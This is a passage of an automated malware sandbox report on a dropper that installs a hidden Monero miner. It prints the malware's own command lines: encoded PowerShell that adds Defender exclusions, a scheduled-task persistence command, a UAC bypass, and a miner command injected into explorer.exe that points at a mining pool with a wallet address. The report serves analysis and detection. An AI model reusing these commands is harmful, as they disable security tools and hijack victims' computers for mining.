              Source: C:\Users\user\AppData\Roaming\Microsoft\Libs\sihost64.exeThread created: C:\Windows\System32\conhost.exe EIP: 57CD0000Jump to behavior
              Source: C:\Users\user\AppData\Roaming\Microsoft\Libs\sihost64.exeThread created: C:\Windows\System32\conhost.exe EIP: 14300000Jump to behavior
              Encrypted powershell cmdline option found
              Source: C:\Users\user\Desktop\GcqJPBLD2Q.exeProcess created: Base64 decoded <#kke#>Add-MpPreference <#ifv#> -ExclusionPath @($env:UserProfile,$env:SystemDrive) <#crq#> -Force <#cyg#>
              Source: C:\Users\user\Desktop\GcqJPBLD2Q.exeProcess created: Base64 decoded <#kke#>Add-MpPreference <#ifv#> -ExclusionPath @($env:UserProfile,$env:SystemDrive) <#crq#> -Force <#cyg#>Jump to behavior
              Found direct / indirect Syscall (likely to bypass EDR)
              Source: C:\Users\user\AppData\Roaming\Microsoft\Libs\sihost64.exeNtCreateThreadEx: Direct from: 0x401A17Jump to behavior
              Source: C:\Users\user\AppData\Roaming\Microsoft\Libs\sihost64.exeNtWriteVirtualMemory: Direct from: 0x401D57Jump to behavior
              Source: C:\Users\user\AppData\Roaming\Microsoft\Libs\sihost64.exeNtProtectVirtualMemory: Direct from: 0x401DD7Jump to behavior
              Source: C:\Users\user\AppData\Roaming\Microsoft\Libs\sihost64.exeNtClose: Direct from: 0x401CD7
              Source: C:\Users\user\AppData\Roaming\Microsoft\Libs\sihost64.exeNtAllocateVirtualMemory: Direct from: 0x401D97Jump to behavior
              Injects a PE file into a foreign processes
              Source: C:\Windows\System32\conhost.exeMemory written: C:\Windows\explorer.exe base: 140000000 value starts with: 4D5AJump to behavior
              Injects code into the Windows Explorer (explorer.exe)
              Source: C:\Windows\System32\conhost.exeMemory written: PID: 1320 base: 140000000 value: 4DJump to behavior
              Source: C:\Windows\System32\conhost.exeMemory written: PID: 1320 base: 140001000 value: 48Jump to behavior
              Source: C:\Windows\System32\conhost.exeMemory written: PID: 1320 base: 140367000 value: 1EJump to behavior
              Source: C:\Windows\System32\conhost.exeMemory written: PID: 1320 base: 1404A0000 value: F0Jump to behavior
              Source: C:\Windows\System32\conhost.exeMemory written: PID: 1320 base: 140753000 value: 00Jump to behavior
              Source: C:\Windows\System32\conhost.exeMemory written: PID: 1320 base: 140775000 value: 48Jump to behavior
              Source: C:\Windows\System32\conhost.exeMemory written: PID: 1320 base: 140776000 value: C5Jump to behavior
              Source: C:\Windows\System32\conhost.exeMemory written: PID: 1320 base: 140777000 value: 48Jump to behavior
              Source: C:\Windows\System32\conhost.exeMemory written: PID: 1320 base: 140779000 value: 48Jump to behavior
              Source: C:\Windows\System32\conhost.exeMemory written: PID: 1320 base: 14077B000 value: 60Jump to behavior
              Source: C:\Windows\System32\conhost.exeMemory written: PID: 1320 base: 14077C000 value: 00Jump to behavior
              Source: C:\Windows\System32\conhost.exeMemory written: PID: 1320 base: 14077D000 value: 00Jump to behavior
              Source: C:\Windows\System32\conhost.exeMemory written: PID: 1320 base: FC1010 value: 00Jump to behavior
              Modifies the context of a thread in another process (thread injection)
              Source: C:\Windows\System32\conhost.exeThread register set: target process: 1320Jump to behavior
              Writes to foreign memory regions
              Source: C:\Users\user\AppData\Local\Temp\Cool.exeMemory written: C:\Windows\System32\conhost.exe base: 236C4F60000Jump to behavior
              Source: C:\Users\user\AppData\Local\Temp\services64.exeMemory written: C:\Windows\System32\conhost.exe base: 1EC44910000Jump to behavior
              Source: C:\Users\user\AppData\Local\Temp\services64.exeMemory written: C:\Windows\System32\conhost.exe base: 2474E5A0000Jump to behavior
              Source: C:\Windows\System32\conhost.exeMemory written: C:\Windows\explorer.exe base: 140000000Jump to behavior
              Source: C:\Windows\System32\conhost.exeMemory written: C:\Windows\explorer.exe base: 140001000Jump to behavior
              Source: C:\Windows\System32\conhost.exeMemory written: C:\Windows\explorer.exe base: 140367000Jump to behavior
              Source: C:\Windows\System32\conhost.exeMemory written: C:\Windows\explorer.exe base: 1404A0000Jump to behavior
              Source: C:\Windows\System32\conhost.exeMemory written: C:\Windows\explorer.exe base: 140753000Jump to behavior
              Source: C:\Windows\System32\conhost.exeMemory written: C:\Windows\explorer.exe base: 140775000Jump to behavior
              Source: C:\Windows\System32\conhost.exeMemory written: C:\Windows\explorer.exe base: 140776000Jump to behavior
              Source: C:\Windows\System32\conhost.exeMemory written: C:\Windows\explorer.exe base: 140777000Jump to behavior
              Source: C:\Windows\System32\conhost.exeMemory written: C:\Windows\explorer.exe base: 140779000Jump to behavior
              Source: C:\Windows\System32\conhost.exeMemory written: C:\Windows\explorer.exe base: 14077B000Jump to behavior
              Source: C:\Windows\System32\conhost.exeMemory written: C:\Windows\explorer.exe base: 14077C000Jump to behavior
              Source: C:\Windows\System32\conhost.exeMemory written: C:\Windows\explorer.exe base: 14077D000Jump to behavior
              Source: C:\Windows\System32\conhost.exeMemory written: C:\Windows\explorer.exe base: FC1010Jump to behavior
              Source: C:\Users\user\AppData\Roaming\Microsoft\Libs\sihost64.exeMemory written: C:\Windows\System32\conhost.exe base: 25C64110000Jump to behavior
              Source: C:\Users\user\AppData\Local\Temp\services64.exeMemory written: C:\Windows\System32\conhost.exe base: 1D90D160000Jump to behavior
              Source: C:\Users\user\AppData\Roaming\Microsoft\Libs\sihost64.exeMemory written: C:\Windows\System32\conhost.exe base: 24457CD0000Jump to behavior
              Source: C:\Users\user\AppData\Roaming\Microsoft\Libs\sihost64.exeMemory written: C:\Windows\System32\conhost.exe base: 2A914300000Jump to behavior
              Source: C:\Users\user\AppData\Local\Temp\DccwBypassUAC.exeCode function: GetModuleHandleW,GetProcAddress,GetModuleHandleW,GetProcAddress,GetModuleHandleW,GetProcAddress,GetModuleHandleW,GetProcAddress,GetCurrentProcessId,OpenProcess,ReadProcessMemory,ReadProcessMemory,GetWindowsDirectoryW,wcscat_s,malloc,wcscpy_s,GetModuleFileNameW,ReadProcessMemory,ReadProcessMemory,_wcsicmp,CloseHandle,_wcsicmp, \explorer.exe5_2_00007FF6FE4211C0
              Source: C:\Users\user\Desktop\GcqJPBLD2Q.exeProcess created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -EncodedCommand "PAAjAGsAawBlACMAPgBBAGQAZAAtAE0AcABQAHIAZQBmAGUAcgBlAG4AYwBlACAAPAAjAGkAZgB2ACMAPgAgAC0ARQB4AGMAbAB1AHMAaQBvAG4AUABhAHQAaAAgAEAAKAAkAGUAbgB2ADoAVQBzAGUAcgBQAHIAbwBmAGkAbABlACwAJABlAG4AdgA6AFMAeQBzAHQAZQBtAEQAcgBpAHYAZQApACAAPAAjAGMAcgBxACMAPgAgAC0ARgBvAHIAYwBlACAAPAAjAGMAeQBnACMAPgA="Jump to behavior
              Source: C:\Users\user\Desktop\GcqJPBLD2Q.exeProcess created: C:\Users\user\AppData\Local\Temp\Cool.exe "C:\Users\user\AppData\Local\Temp\Cool.exe" Jump to behavior
              Source: C:\Users\user\Desktop\GcqJPBLD2Q.exeProcess created: C:\Users\user\AppData\Local\Temp\DccwBypassUAC.exe "C:\Users\user\AppData\Local\Temp\DccwBypassUAC.exe" Jump to behavior
              Source: C:\Users\user\AppData\Local\Temp\Cool.exeProcess created: C:\Windows\System32\conhost.exe "C:\Windows\System32\conhost.exe" "C:\Users\user\AppData\Local\Temp\Cool.exe"Jump to behavior
              Source: C:\Windows\System32\conhost.exeProcess created: C:\Windows\System32\cmd.exe "cmd" /c schtasks /create /f /sc onlogon /rl highest /tn "services64" /tr "C:\Users\user\AppData\Local\Temp\services64.exe"Jump to behavior
              Source: C:\Windows\System32\conhost.exeProcess created: C:\Windows\System32\cmd.exe "cmd" cmd /c "C:\Users\user\AppData\Local\Temp\services64.exe"Jump to behavior
              Source: C:\Windows\System32\cmd.exeProcess created: C:\Windows\System32\schtasks.exe schtasks /create /f /sc onlogon /rl highest /tn "services64" /tr "C:\Users\user\AppData\Local\Temp\services64.exe"Jump to behavior
              Source: C:\Windows\System32\cmd.exeProcess created: C:\Users\user\AppData\Local\Temp\services64.exe C:\Users\user\AppData\Local\Temp\services64.exeJump to behavior
              Source: C:\Users\user\AppData\Local\Temp\services64.exeProcess created: C:\Windows\System32\conhost.exe "C:\Windows\System32\conhost.exe" "C:\Users\user\AppData\Local\Temp\services64.exe"Jump to behavior
              Source: C:\Windows\System32\conhost.exeProcess created: C:\Users\user\AppData\Roaming\Microsoft\Libs\sihost64.exe "C:\Users\user\AppData\Roaming\Microsoft\Libs\sihost64.exe" Jump to behavior
              Source: C:\Users\user\AppData\Local\Temp\services64.exeProcess created: C:\Windows\System32\conhost.exe "C:\Windows\System32\conhost.exe" "C:\Users\user\AppData\Local\Temp\services64.exe"Jump to behavior
              Source: C:\Windows\System32\conhost.exeProcess created: C:\Users\user\AppData\Roaming\Microsoft\Libs\sihost64.exe "C:\Users\user\AppData\Roaming\Microsoft\Libs\sihost64.exe" Jump to behavior
              Source: C:\Windows\System32\conhost.exeProcess created: C:\Windows\explorer.exe C:\Windows\explorer.exe --cinit-find-x -B --algo="rx/0" --asm=auto --cpu-memory-pool=1 --randomx-mode=auto --randomx-no-rdmsr --cuda-bfactor-hint=12 --cuda-bsleep-hint=100 --url=pool.hashvault.pro:80 --user=426RNxSSEqcPuv4hwEHkJf7kVHFWs8bprQJpMPxDcRx6RTQxZW7rByiXU4CnMDqrHL4s7VEpMG8Qj77ygdDRvkBU3Ncd1Wx --pass= --cpu-max-threads-hint=40 --cinit-stealth-targets="+iU/trnPCTLD3p+slbva5u4EYOS6bvIPemCHGQx2WRUcnFdomWh6dhl5H5KbQCjp6yCYlsFu5LR1mi7nQAy56B+5doUwurAPvCael2sR/N4=" --cinit-stealth Jump to behavior
              Source: C:\Users\user\AppData\Roaming\Microsoft\Libs\sihost64.exeProcess created: C:\Windows\System32\conhost.exe "C:\Windows\System32\conhost.exe" "/sihost64"Jump to behavior
              Source: C:\Windows\System32\conhost.exeProcess created: C:\Users\user\AppData\Local\Temp\services64.exe "C:\Users\user\AppData\Local\Temp\services64.exe" Jump to behavior
              Source: C:\Users\user\AppData\Local\Temp\services64.exeProcess created: C:\Windows\System32\conhost.exe "C:\Windows\System32\conhost.exe" "C:\Users\user\AppData\Local\Temp\services64.exe"Jump to behavior
              Source: C:\Windows\System32\conhost.exeProcess created: C:\Users\user\AppData\Roaming\Microsoft\Libs\sihost64.exe "C:\Users\user\AppData\Roaming\Microsoft\Libs\sihost64.exe" Jump to behavior
              Source: C:\Users\user\AppData\Roaming\Microsoft\Libs\sihost64.exeProcess created: C:\Windows\System32\conhost.exe "C:\Windows\System32\conhost.exe" "/sihost64"Jump to behavior
              Source: C:\Users\user\AppData\Roaming\Microsoft\Libs\sihost64.exeProcess created: C:\Windows\System32\conhost.exe "C:\Windows\System32\conhost.exe" "/sihost64"Jump to behavior
              Source: C:\Windows\System32\svchost.exeProcess created: C:\Windows\System32\WerFault.exe C:\Windows\system32\WerFault.exe -pss -s 432 -p 6012 -ip 6012
              Source: C:\Windows\System32\svchost.exeProcess created: C:\Windows\System32\WerFault.exe C:\Windows\system32\WerFault.exe -u -p 6012 -s 880
              Source: C:\Users\user\Desktop\GcqJPBLD2Q.exeProcess created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "c:\windows\system32\windowspowershell\v1.0\powershell.exe" -encodedcommand "paajagsaawblacmapgbbagqazaatae0acabqahiazqbmaguacgblag4aywblacaapaajagkazgb2acmapgagac0arqb4agmabab1ahmaaqbvag4auabhahqaaaagaeaakaakaguabgb2adoavqbzaguacgbqahiabwbmagkabablacwajablag4adga6afmaeqbzahqazqbtaeqacgbpahyazqapacaapaajagmacgbxacmapgagac0argbvahiaywblacaapaajagmaeqbnacmapga="
              Source: C:\Windows\System32\conhost.exeProcess created: C:\Windows\explorer.exe c:\windows\explorer.exe --cinit-find-x -b --algo="rx/0" --asm=auto --cpu-memory-pool=1 --randomx-mode=auto --randomx-no-rdmsr --cuda-bfactor-hint=12 --cuda-bsleep-hint=100 --url=pool.hashvault.pro:80 --user=426rnxsseqcpuv4hwehkjf7kvhfws8bprqjpmpxdcrx6rtqxzw7rbyixu4cnmdqrhl4s7vepmg8qj77ygddrvkbu3ncd1wx --pass= --cpu-max-threads-hint=40 --cinit-stealth-targets="+iu/trnpctld3p+slbva5u4eyos6bvipemchgqx2wrucnfdomwh6dhl5h5kbqcjp6ycylsfu5lr1mi7nqay56b+5douwurapvcael2sr/n4=" --cinit-stealth
              Source: C:\Users\user\Desktop\GcqJPBLD2Q.exeProcess created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "c:\windows\system32\windowspowershell\v1.0\powershell.exe" -encodedcommand "paajagsaawblacmapgbbagqazaatae0acabqahiazqbmaguacgblag4aywblacaapaajagkazgb2acmapgagac0arqb4agmabab1ahmaaqbvag4auabhahqaaaagaeaakaakaguabgb2adoavqbzaguacgbqahiabwbmagkabablacwajablag4adga6afmaeqbzahqazqbtaeqacgbpahyazqapacaapaajagmacgbxacmapgagac0argbvahiaywblacaapaajagmaeqbnacmapga="Jump to behavior
              Source: C:\Windows\System32\conhost.exeProcess created: C:\Windows\explorer.exe c:\windows\explorer.exe --cinit-find-x -b --algo="rx/0" --asm=auto --cpu-memory-pool=1 --randomx-mode=auto --randomx-no-rdmsr --cuda-bfactor-hint=12 --cuda-bsleep-hint=100 --url=pool.hashvault.pro:80 --user=426rnxsseqcpuv4hwehkjf7kvhfws8bprqjpmpxdcrx6rtqxzw7rbyixu4cnmdqrhl4s7vepmg8qj77ygddrvkbu3ncd1wx --pass= --cpu-max-threads-hint=40 --cinit-stealth-targets="+iu/trnpctld3p+slbva5u4eyos6bvipemchgqx2wrucnfdomwh6dhl5h5kbqcjp6ycylsfu5lr1mi7nqay56b+5douwurapvcael2sr/n4=" --cinit-stealth Jump to behavior
              Source: C:\Users\user\AppData\Local\Temp\DccwBypassUAC.exeCode function: 5_2_00007FF6FE421A60 GetCurrentProcess,OpenProcessToken,GetTokenInformation,GetLastError,GlobalAlloc,GetTokenInformation,AllocateAndInitializeSid,EqualSid,LookupAccountSidW,GetLastError,wcscpy_s,FreeSid,GlobalFree,5_2_00007FF6FE421A60
              Source: C:\Users\user\Desktop\GcqJPBLD2Q.exeQueries volume information: C:\Users\user\Desktop\GcqJPBLD2Q.exe VolumeInformationJump to behavior
              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformationJump to behavior
              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Data\v4.0_4.0.0.0__b77a5c561934e089\System.Data.dll VolumeInformationJump to behavior
              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Transactions\v4.0_4.0.0.0__b77a5c561934e089\System.Transactions.dll VolumeInformationJump to behavior
              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\ VolumeInformationJump to behavior
              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformationJump to behavior
              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformationJump to behavior
              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-GroupPolicy-ClientTools-WOW64-Package~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformationJump to behavior
              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-AppManagement-AppV-Package~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformationJump to behavior
              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\WindowsPowerShell\v1.0\Modules\AppvClient\Microsoft.AppV.AppVClientPowerShell.dll VolumeInformationJump to behavior
              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\Microsoft.AppV.AppvClientComConsumer\v4.0_10.0.0.0__31bf3856ad364e35\Microsoft.AppV.AppvClientComConsumer.dll VolumeInformationJump to behavior
              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\Microsoft.AppV.AppvClientComConsumer\v4.0_10.0.0.0__31bf3856ad364e35\Microsoft.AppV.AppvClientComConsumer.dll VolumeInformationJump to behavior
              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\Microsoft.AppV.AppvClientComConsumer\v4.0_10.0.0.0__31bf3856ad364e35\Microsoft.AppV.AppvClientComConsumer.dll VolumeInformationJump to behavior
              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-SecureStartup-Subsystem-WOW64-Package~31bf3856ad364e35~amd64~~10.0.19041.1865.cat VolumeInformationJump to behavior
              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-SecureStartup-Subsystem-Package~31bf3856ad364e35~amd64~en-GB~10.0.19041.1151.cat VolumeInformationJump to behavior
              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformationJump to behavior
              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformationJump to behavior
              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformationJump to behavior
              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\WindowsPowerShell\v1.0\Modules\BitLocker\Microsoft.BitLocker.Structures.dll VolumeInformationJump to behavior
              Source: C:\Windows\System32\conhost.exeQueries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.IO.Compression\v4.0_4.0.0.0__b77a5c561934e089\System.IO.Compression.dll VolumeInformationJump to behavior
              Source: C:\Windows\System32\cmd.exeQueries volume information: C:\ VolumeInformationJump to behavior
              Source: C:\Windows\System32\conhost.exeQueries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.IO.Compression\v4.0_4.0.0.0__b77a5c561934e089\System.IO.Compression.dll VolumeInformationJump to behavior
              Source: C:\Windows\System32\conhost.exeQueries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.IO.Compression\v4.0_4.0.0.0__b77a5c561934e089\System.IO.Compression.dll VolumeInformationJump to behavior
              Source: C:\Windows\System32\conhost.exeQueries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.IO.Compression\v4.0_4.0.0.0__b77a5c561934e089\System.IO.Compression.dll VolumeInformationJump to behavior
              Source: C:\Users\user\AppData\Local\Temp\DccwBypassUAC.exeCode function: 5_2_00007FF6FE425160 GetSystemTimeAsFileTime,GetCurrentThreadId,GetCurrentProcessId,QueryPerformanceCounter,5_2_00007FF6FE425160
              Source: C:\Users\user\Desktop\GcqJPBLD2Q.exeKey value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Cryptography MachineGuidJump to behavior

              Mitre Att&ck Matrix

              ReconnaissanceResource DevelopmentInitial AccessExecutionPersistencePrivilege EscalationDefense EvasionCredential AccessDiscoveryLateral MovementCollectionCommand and ControlExfiltrationImpact
              Gather Victim Identity InformationAcquire InfrastructureValid Accounts1
              Windows Management Instrumentation              		1
              Windows Service              		1
              Windows Service              		1
              Masquerading              		OS Credential Dumping1
              System Time Discovery              		Remote Services1
              Archive Collected Data              		2
              Encrypted Channel              		Exfiltration Over Other Network MediumAbuse Accessibility Features
              CredentialsDomainsDefault Accounts1
              Command and Scripting Interpreter              		1
              Scheduled Task/Job              		721
              Process Injection              		1
              Disable or Modify Tools              		LSASS Memory211
              Security Software Discovery              		Remote Desktop ProtocolData from Removable Media1
              Non-Application Layer Protocol              		Exfiltration Over BluetoothNetwork Denial of Service
              Email AddressesDNS ServerDomain Accounts1
              Scheduled Task/Job              		1
              DLL Side-Loading              		1
              Scheduled Task/Job              		131
              Virtualization/Sandbox Evasion              		Security Account Manager1
              Process Discovery              		SMB/Windows Admin SharesData from Network Shared Drive1
              Application Layer Protocol              		Automated ExfiltrationData Encrypted for Impact
              Employee NamesVirtual Private ServerLocal Accounts1
              Native API              		Login Hook1
              Abuse Elevation Control Mechanism              		721
              Process Injection              		NTDS131
              Virtualization/Sandbox Evasion              		Distributed Component Object ModelInput CaptureProtocol ImpersonationTraffic DuplicationData Destruction
              Gather Victim Network InformationServerCloud Accounts1
              PowerShell              		Network Logon Script1
              DLL Side-Loading              		1
              Deobfuscate/Decode Files or Information              		LSA Secrets1
              Application Window Discovery              		SSHKeyloggingFallback ChannelsScheduled TransferData Encrypted for Impact
              Domain PropertiesBotnetReplication Through Removable MediaScheduled TaskRC ScriptsRC Scripts1
              Abuse Elevation Control Mechanism              		Cached Domain Credentials2
              File and Directory Discovery              		VNCGUI Input CaptureMultiband CommunicationData Transfer Size LimitsService Stop
              DNSWeb ServicesExternal Remote ServicesSystemd TimersStartup ItemsStartup Items1
              Obfuscated Files or Information              		DCSync14
              System Information Discovery              		Windows Remote ManagementWeb Portal CaptureCommonly Used PortExfiltration Over C2 ChannelInhibit System Recovery
              Network Trust DependenciesServerlessDrive-by CompromiseContainer Orchestration JobScheduled Task/JobScheduled Task/Job1
              DLL Side-Loading              		Proc FilesystemSystem Owner/User DiscoveryCloud ServicesCredential API HookingApplication Layer ProtocolExfiltration Over Alternative ProtocolDefacement

              Behavior Graph

              Hide Legend

              Legend:

              • Process
              • Signature
              • Created File
              • DNS/IP Info
              • Is Dropped
              • Is Windows Process
              • Number of created Registry Values
              • Number of created Files
              • Visual Basic
              • Delphi
              • Java
              • .Net C# or VB.NET
              • C, C++ or other language
              • Is malicious
              • Internet
              behaviorgraph top1 dnsIp2 2 Behavior Graph ID: 1528492 Sample: GcqJPBLD2Q.exe Startdate: 08/10/2024 Architecture: WINDOWS Score: 100 93 pool.hashvault.pro 2->93 117 Sigma detected: Xmrig 2->117 119 Malicious sample detected (through community Yara rule) 2->119 121 Antivirus / Scanner detection for submitted sample 2->121 123 11 other signatures 2->123 15 GcqJPBLD2Q.exe 7 2->15         started        19 services64.exe 2->19         started        21 svchost.exe 2->21         started        23 svchost.exe 2->23         started        signatures3 process4 file5 87 C:\Users\user\AppData\...\DccwBypassUAC.exe, PE32+ 15->87 dropped 89 C:\Users\user\AppData\Local\Temp\Cool.exe, PE32+ 15->89 dropped 91 C:\Users\user\AppData\...behaviorgraphcqJPBLD2Q.exe.log, CSV 15->91 dropped 97 Encrypted powershell cmdline option found 15->97 25 Cool.exe 15->25         started        28 powershell.exe 23 15->28         started        30 DccwBypassUAC.exe 1 15->30         started        99 Antivirus detection for dropped file 19->99 101 Machine Learning detection for dropped file 19->101 103 Writes to foreign memory regions 19->103 105 2 other signatures 19->105 32 conhost.exe 3 19->32         started        34 WerFault.exe 21->34         started        signatures6 process7 signatures8 143 Antivirus detection for dropped file 25->143 145 Machine Learning detection for dropped file 25->145 147 Writes to foreign memory regions 25->147 151 2 other signatures 25->151 36 conhost.exe 4 25->36         started        149 Loading BitLocker PowerShell Module 28->149 39 conhost.exe 28->39         started        41 WmiPrvSE.exe 28->41         started        43 conhost.exe 28->43         started        45 sihost64.exe 32->45         started        process9 file10 85 C:\Users\user\AppData\...\services64.exe, PE32+ 36->85 dropped 48 cmd.exe 1 36->48         started        50 cmd.exe 1 36->50         started        159 Writes to foreign memory regions 45->159 161 Allocates memory in foreign processes 45->161 163 Creates a thread in another existing process (thread injection) 45->163 53 conhost.exe 45->53         started        signatures11 process12 signatures13 55 services64.exe 48->55         started        58 conhost.exe 48->58         started        115 Uses schtasks.exe or at.exe to add and modify task schedules 50->115 60 conhost.exe 50->60         started        62 schtasks.exe 1 50->62         started        process14 signatures15 137 Writes to foreign memory regions 55->137 139 Allocates memory in foreign processes 55->139 141 Creates a thread in another existing process (thread injection) 55->141 64 conhost.exe 6 55->64         started        process16 file17 81 C:\Users\user\AppData\...\sihost64.exe, PE32+ 64->81 dropped 83 C:\Users\user\AppData\Roaming\...\WR64.sys, PE32+ 64->83 dropped 107 Found strings related to Crypto-Mining 64->107 109 Injects code into the Windows Explorer (explorer.exe) 64->109 111 Tries to detect sandboxes and other dynamic analysis tools (process name or module or function) 64->111 113 4 other signatures 64->113 68 sihost64.exe 64->68         started        71 explorer.exe 64->71         started        signatures18 process19 dnsIp20 125 Antivirus detection for dropped file 68->125 127 Machine Learning detection for dropped file 68->127 129 Writes to foreign memory regions 68->129 135 2 other signatures 68->135 74 conhost.exe 3 68->74         started        95 pool.hashvault.pro 45.76.89.70, 49759, 80 AS-CHOOPAUS United States 71->95 131 System process connects to network (likely due to code injection or exploit) 71->131 133 Query firmware table information (likely to detect VMs) 71->133 signatures21 process22 process23 76 services64.exe 74->76         started        signatures24 153 Writes to foreign memory regions 76->153 155 Allocates memory in foreign processes 76->155 157 Creates a thread in another existing process (thread injection) 76->157 79 conhost.exe 3 76->79         started        process25

              Screenshots

              Thumbnails

              This section contains all screenshots as thumbnails, including those not shown in the slideshow.


              windows-stand

              Antivirus, Machine Learning and Genetic Malware Detection

              Initial Sample

              SourceDetectionScannerLabelLink
              GcqJPBLD2Q.exe47%ReversingLabsByteCode-MSIL.Trojan.Generic
              GcqJPBLD2Q.exe100%AviraTR/Dropper.Gen
              GcqJPBLD2Q.exe100%Joe Sandbox ML

              Dropped Files

              SourceDetectionScannerLabelLink
              C:\Users\user\AppData\Roaming\Microsoft\Libs\sihost64.exe100%AviraHEUR/AGEN.1344832
              C:\Users\user\AppData\Local\Temp\Cool.exe100%AviraHEUR/AGEN.1344202
              C:\Users\user\AppData\Local\Temp\services64.exe100%AviraHEUR/AGEN.1344202
              C:\Users\user\AppData\Roaming\Microsoft\Libs\sihost64.exe100%Joe Sandbox ML
              C:\Users\user\AppData\Local\Temp\Cool.exe100%Joe Sandbox ML
              C:\Users\user\AppData\Local\Temp\services64.exe100%Joe Sandbox ML
              C:\Users\user\AppData\Roaming\Microsoft\Libs\WR64.sys5%ReversingLabs

              Unpacked PE Files

              ⊘No Antivirus matches

              Domains

              ⊘No Antivirus matches

              URLs

              SourceDetectionScannerLabelLink
              http://nuget.org/NuGet.exe0%URL Reputationsafe
              http://pesterbdd.com/images/Pester.png0%URL Reputationsafe
              http://schemas.xmlsoap.org/soap/encoding/0%URL Reputationsafe
              http://schemas.xmlsoap.org/wsdl/0%URL Reputationsafe
              https://contoso.com/0%URL Reputationsafe
              https://nuget.org/nuget.exe0%URL Reputationsafe
              https://contoso.com/License0%URL Reputationsafe
              https://contoso.com/Icon0%URL Reputationsafe
              https://aka.ms/pscore680%URL Reputationsafe
              http://schemas.xmlsoap.org/ws/2005/05/identity/claims/name0%URL Reputationsafe

              Domains and IPs

              Contacted Domains

              NameIPActiveMaliciousAntivirus DetectionReputation
              pool.hashvault.pro
              		45.76.89.70
              		truetrue
                		unknown

                URLs from Memory and Binaries

                NameSourceMaliciousAntivirus DetectionReputation
                http://nuget.org/NuGet.exepowershell.exe, 00000002.00000002.2367096703.00000151D50D0000.00000004.00000800.00020000.00000000.sdmpfalse
                • URL Reputation: safe
                		unknown
                http://pesterbdd.com/images/Pester.pngpowershell.exe, 00000002.00000002.2291247009.00000151C5288000.00000004.00000800.00020000.00000000.sdmpfalse
                • URL Reputation: safe
                		unknown
                http://schemas.xmlsoap.org/soap/encoding/powershell.exe, 00000002.00000002.2291247009.00000151C5288000.00000004.00000800.00020000.00000000.sdmpfalse
                • URL Reputation: safe
                		unknown
                http://www.apache.org/licenses/LICENSE-2.0.htmlpowershell.exe, 00000002.00000002.2291247009.00000151C5288000.00000004.00000800.00020000.00000000.sdmpfalse
                  		unknown
